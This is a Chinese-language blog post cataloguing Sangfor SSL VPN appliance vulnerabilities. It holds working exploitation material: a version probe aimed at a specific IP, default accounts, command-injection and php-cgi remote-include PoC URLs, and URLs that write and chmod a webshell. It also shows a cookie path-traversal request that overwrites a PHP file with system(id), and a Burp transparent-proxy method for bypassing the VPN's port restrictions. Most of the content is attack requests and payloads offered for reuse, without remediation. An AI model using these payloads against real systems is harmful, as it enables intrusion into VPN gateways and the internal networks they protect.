Sangfor安全设备缺陷一览表.md

2022-09-28 16:41:45 浏览数 (1)

[TOC]

0x00 Sangfor AF
0x01 SangforSSL-V**

(1)-OpenSSL心脏出血漏洞 (较少) (2)-远程代码执行(Version <= M5.6) (3)-Getshell漏洞(邮件服务器配置) (4)-权限绕过

SSL-V**版本查看:

代码语言:javascript复制
POST /por/login_auth.csp?type=cs&cli=ssl&language=zh_CN&rnd=26471778&encrypt=1 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: SangforCS
Host: 183.230.46.100:4433

WeiyiGeek.SSL-V**版本

1.常见利用

默认测试账户:test、Guest

2.远程代码执行

影响范围:深信服版本 Version <= M5.6

缺陷代码:

代码语言:javascript复制
<?php
//php exec函数
$args = $_REQUEST['cmd'];
/*something here*/
exec("tsutil -proxy $ip $args", $output, $ret);
?>

利用POC:

代码语言:javascript复制
curl http://**.**.**.**:1000/cgi-bin/php-cgi/html/svpn.php -d 'cmd=phpinfo();

/cgi-bin/php-cgi/html/svpnphp/_inc/commondef.php?-dallow_url_include=On -dauto_prepend_file=http://

#有 php-cgi 代码远程执行漏洞
http://SSLVPN.SANGFOR.COM:1000/cgi-bin/php-cgi/html/daemon/tsproxy.php?cmd=ifconfig||echo '' >/app/usr/sbin/webui/html/svpn.php

//修改了
http://SSLVPN.SANGFOR.COM:1000/cgi-bin/php-cgi/html/daemon/tsproxy.php?cmd=ifconfig||chmod 777 /app/usr/sbin/webui/html/svpn.php

WeiyiGeek.远程代码执行

3.Getshell漏洞(邮件服务器配置)

漏洞利用前提:

  • 有登陆SSL V**控制台的权限
  • 可以SSL V**修改邮件服务器配置

缺陷代码文件:sysCfgController.class.php 147行 [邮件服务器设置的发送测试邮件功能]

代码语言:javascript复制
public function sendTestMail($SMTPServer, $SMTPPort, $DestAddr, $EmailTitle, $EnableCheckUsr=0, $EmailUser='', $EmailPassword='',$EmailFrom='',$LanguageType='zh_CN')

		{
      // 写入临时配置文件
      $conf_file = '/tmp/testmail_'.$_COOKIE['sinfor_session_id'];
      $contents  = "[MAIL]n";
      $contents .= "EnableEmailNotice = "1"n";
      $contents .= "SMTPServer = "$SMTPServer"n";
      $contents .= "SMTPPort = "$SMTPPort"n";
      $contents .= "EnableCheckUsr = "$EnableCheckUsr"n";
      $contents .= "EmailUser = "$EmailUser"n";
      $contents .= "EmailPassword = "$EmailPassword"n";
      $contents .= "EmailFrom = "$EmailFrom"n";
      $contents .= "DestAddr = "$DestAddr"n";
      $contents .= "EmailTitle = "$EmailTitle"n";
      $contents .= "ContentsFile = "/tmp/smtpsend_test.txt"n";
      @file_put_contents($conf_file, $contents);  #file_put_contents在file_exists前执行,而$conf_file来源于cookie参数sinfor_session_id
      if (!file_exists($conf_file))
        throw new FileException($conf_file);

#修改cookie sinfor_session_id为:
sinfor_session_id=W04EDB7D9DC3B2FAAD4A9DD6C23CE9B2/../../tmp/1.txt  #即可在/tmp/目录下创建一个1.txt文件

#Getshell向web根目录下写个php就行,新建的文件权限是-rw-------,也就是说WEB容器不能执行新建的文件
#为了突破这个问题,需要覆盖掉一个已存在的php文件,利用其x权限来达到getshell的目的;
EG:/app/usr/sbin/webui/html/appSsoApi.php
#将Cookies修改 
sinfor_session_id=W04EDB7D9DC3B2FAAD4A9DD6C23CE9B2/../../tmp/../../app/usr/sbin/webui/html/appSsoApi.php

#验证请求
POST /cgi-bin/php-cgi/html/delegatemodule/HttpHandler.php?controler=SysCfg&action=sendTestMail&token=72c791a93959bf388db3af864c09bbee82f2d1a8 HTTP/1.1
Referer: https://***/html/tpl/mailMgt.html
Cookie: language=zh_CN; USER_CUSTOM_SETTING=1460011919; SESSID=C42EC5FBB05DCD23B13A3384C98E065DC8271CA9AC1B4F433557BC8C4FBC312; x-anti-csrf-
gcs=72DFC30A00E3FB9E; sinfor_session_id=W04EDB7D9DC3B2FAAD4A9DD6C23CE9B2/../../tmp/../../app/usr/sbin/webui/html/appSsoApi.php; 
PHPSESSID=870a66816ba987171730e9b80753da82; x-act-flag-gcs=; usermrgstate={"params":{"grpid":"38","recflag":0,
"filter":0},"pageparams":{"start":0,"limit":25},"otherparams":{"searchtype":0,"recflag
":false}}; hidecfg={"name":false,"flag":false,"note":false,"expire":true,"lastlogin_time":true,
"phone":true,"allocateip":true,"other":false,"state":false}
#下面是POC将下面的字符串写入了appSsoApi.php文件中
SMTPServer=<?php system(id);?>&SMTPPort=1&EmailUser=&EmailPassword=&EmailFrom=1&LanguageType=zh_CN&DestAddr=1&EmailTitle=1
4.权限绕过

描述:绕过深信服SSL V**访问权限控制利用burp,在SSL V**链接服务端后会下发一个资源表给客户端; 图中的host字段就是V**远端的服务器IP,port就是允许你访问的服务区端口号为22 (只允许你去访问10.x.x.x的22端口)

WeiyiGeek.SSLV**

注意事项:可以修改服务器返回的IP和端口号(通过burp代理修改port范围为1-65535)来访问其它V**远端资源,但是使用http代理后就不能访问L3V**资源了L3VPN=TCP UDP ICMP

WeiyiGeek.

解决方法:使用burp的invisible proxying 所谓的invisible proxying就是透明代理,通过出口设备将访问V**的数据重定向给burp即可; Q :找谁重定向? 出口设备或者linux的iptables都可以,这里以出口设备DNAT为例

WeiyiGeek.透明代理

访问V**的数据流变成如下流程: hacker –> 出口 –> DNAT给burp(同时源IP转换为...) –> burp处理 –> 出口 –> V**设备 注意:burp和hacker主机不能为同一台,为同一台的话会出现数据环路

代码语言:javascript复制
这里做实验的hacker机IP为**.**.**.**,burp主机**.**.**.**,网关为**.**.**.**,VPN设备IP假设为**.**.**.**

那么在出口需要做:
1、源IP为**.**.**.** 的访问 **.**.**.** TCP443端口重定向到**.**.**.**的443端口

2、代理**.**.**.** 访问 **.**.**.**的请求

因为我这里 **.**.**.** 是假的所以要绑定下hosts,burp和windows主机都要绑定

WeiyiGeek.Resolution

登陆SSL试下发现burp正常工作,V**登陆流程比较慢但可以登陆,可以看到端口范围已经被burp自动修改了 注:这里V**登陆成功后需取消网关的DNAT策略,否则会因burp代理速度太慢导致V**不可用;

WeiyiGeek.

0 人点赞